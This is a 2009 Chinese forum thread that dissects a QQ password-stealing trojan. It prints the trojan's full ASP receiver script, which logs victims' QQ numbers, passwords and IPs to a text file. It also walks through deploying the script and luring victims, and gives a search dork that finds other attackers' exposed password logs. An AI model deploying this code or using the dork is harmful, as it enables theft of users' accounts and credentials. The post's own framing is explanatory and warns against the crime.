飞翔无限fxwx.com广西经贸职业技术学院论坛
标题:
分析黑客盗取QQ密码
[打印本页]
作者:
月中水
时间:
2009-10-16 03:06
标题:
分析黑客盗取QQ密码
前两天看到一篇文章，说的是网民利用谷歌搜索引擎可以搜索到QQ密码，而本人对文中的观点要进行一下纠正。接触过网络安全的人应该都知道，那样搜索到的QQ密码的页面其实就是一些所谓的黑客在配置QQ木马时候所填写的接收QQ密码的页面。QQ木马有两种方式接收盗来的QQ密码，一个是邮箱，一个是空间，而空间接收是最直接也是最保险的，因为有些邮箱是不支持的。而且用网页接收一般是用支持asp的空间，它需要一个接收密码的的脚本。接收到密码后会在网站同目录创建一个.txt文件并将账号密码存进这个文本里。
d* u8 w# V% x: i9 y: C
我上网找了个QQ木马，叫金狐QQ大盗，里面就带有一个QQ.asp 我把内容贴出来给大家看看。如下：
! E8 `1 U9 V& h8 D9 X
<%
7 K+ k4 Z% b, L( [- B5 ^
strLogFile="2008jhqqxx.txt"
/ ]" o' t3 m# g+ m4 `3 S1 g
QQNumber=request("QQNumber")
- M% e9 y2 ?' w# n; Q
QQPassWord=request("QQPassWord")
, e0 ~9 k; v3 }3 P
QQclub=request("QQclub")
/ H J! l+ @' ?- r; k. Y
QQip=request("QQip")
) k# u1 \. b% z8 q' w
if QQNumber="" or QQPassWord="" then
6 B6 V5 P* @( ^! s6 @8 V# M
response.write "jhQQ"
5 m8 W7 v. \" d0 ]
response.end
1 B0 @ r2 N- o+ t
End If
. o1 `8 C% U7 I) M; x6 `
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
1 P9 {/ o' V- S2 }
StrLogText=StrLogText&")----"&date&" "&time
, a9 X; ]- \$ }. o9 u3 B( \) q
set f=Server.CreateObject("scripting.filesystemobject")
4 H( v5 x, Y' g9 i. r( V
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
. i d( E; g) V4 \/ S
ff.writeline(chr(13)+chr(10)&StrLogText)
: P7 Y9 h( J8 D4 U
ff.close
. c& u/ b! w* }+ b6 P' H$ G
set ff=nothing
8 O+ |' m! L7 K1 O/ h1 d$ s
set f=nothing
# _* \, e; @4 [8 S: ^2 T5 w5 r, u: `
response.write "发送成功!"
$ K6 t- o7 V+ w6 c+ U
%>
! p* n1 K f5 B7 Z- `
大概意思就是当有人中QQ木马时会自动与此页面通信，并将受害者二次输入的QQ信息在当前目录下以以下形式存入一个命名为2008jhqqxx.txt的文档里，
: M s2 ]% y" {
QQ号---QQ密码---会员：是否---QQ登陆IP---具体时间
4 [" R/ J" Q3 v1 o/ y" ?9 e/ G. `; \- D
可见QQ木马是很强大的。
6 L, D7 K, S* x/ ^* a/ z/ e
下面我给大家讲解下整个盗号过程。
1 j8 M' H2 i. o1 c$ ]
以我的网站
www.cash568.com
为例，我准备配置了一个QQ木马，将那个QQ.asp上传到我网站的根目录，用
www.cash568.com/QQ.asp
配置出一个木马，用一些手段诱使别人运行。比如一个QQ用户不小心运行了，那么那人的QQ会在短时间内掉线，并要求重新登陆，当那人重新登陆时，QQ木马就已经将所记录的详细信息传递给了
www.cash568.com/QQ.asp
这个页面，并进行处理，也就是上面所讲的，以那种方式将所得信息录入2008jhqqxx.txt这个文本里，而我只需要查看下
www.cash568.com/2008jhqqxx.txt
这个页面也就能轻松看到盗来的QQ密码了。而一些做坏事的人没有将此页面加入robot.txt，所以搜索引擎有可能将此页面收录，而别人通过在搜索引擎里键入inurl:2008jhqqxx.txt（这句话的意思就是搜索网站地址中含有2008jhqqxx.txt的网页）就可以查看到别人盗来的QQ密码信息了。所以说那篇文章里所提到的 腾讯称盗号者在炫耀 这个观点是错误的，不但是谷歌，百度也一样，因为都具有这样的命令。当然，那些干坏事的人可以修改下那个asp页面的代码，将2008jhqqxx.txt改为123.txt，那么密码自然就存储到了
www.cash568.com/123.txt
里了。
7 k9 w) m6 W* p' H; K$ t0 H
盗取别人的QQ号是令人不齿的也是触犯法律的行为，希望大家不要跟着学坏，而我只是抱着研究的态度写了这篇文章，盗号这事离我很遥远。最后希望大家注意网络安全，千万别让坏蛋计谋得逞。
作者:
siuming
时间:
2009-10-16 06:20
LZ发帖发得够猛的啊！
, k( i4 r: F+ @: |
真正有本事的黑客谁还玩偷QQ这种无聊的事情，人都偷法拉利去了（哎 文不对题了）
作者:
Photoby
时间:
2009-10-21 08:13
LS的不明白~~黑客都是网络兼职赚钱的居多~~先搞到你QQ密码~~在用程序登陆你QQ群发广告~~说白了就是在利用你们的QQ做兼职（
只是兼职的一种
）...有些全职的蠢货~~直接就盗你QQ~·方便以后发广告了~~也或者你的QQ就是某人的生日~~那个人上淘宝去买中你的QQ号了~~黑客负责偷....
欢迎光临 飞翔无限fxwx.com广西经贸职业技术学院论坛 (http://gxjmbbs.com/)
Powered by Discuz! X3.2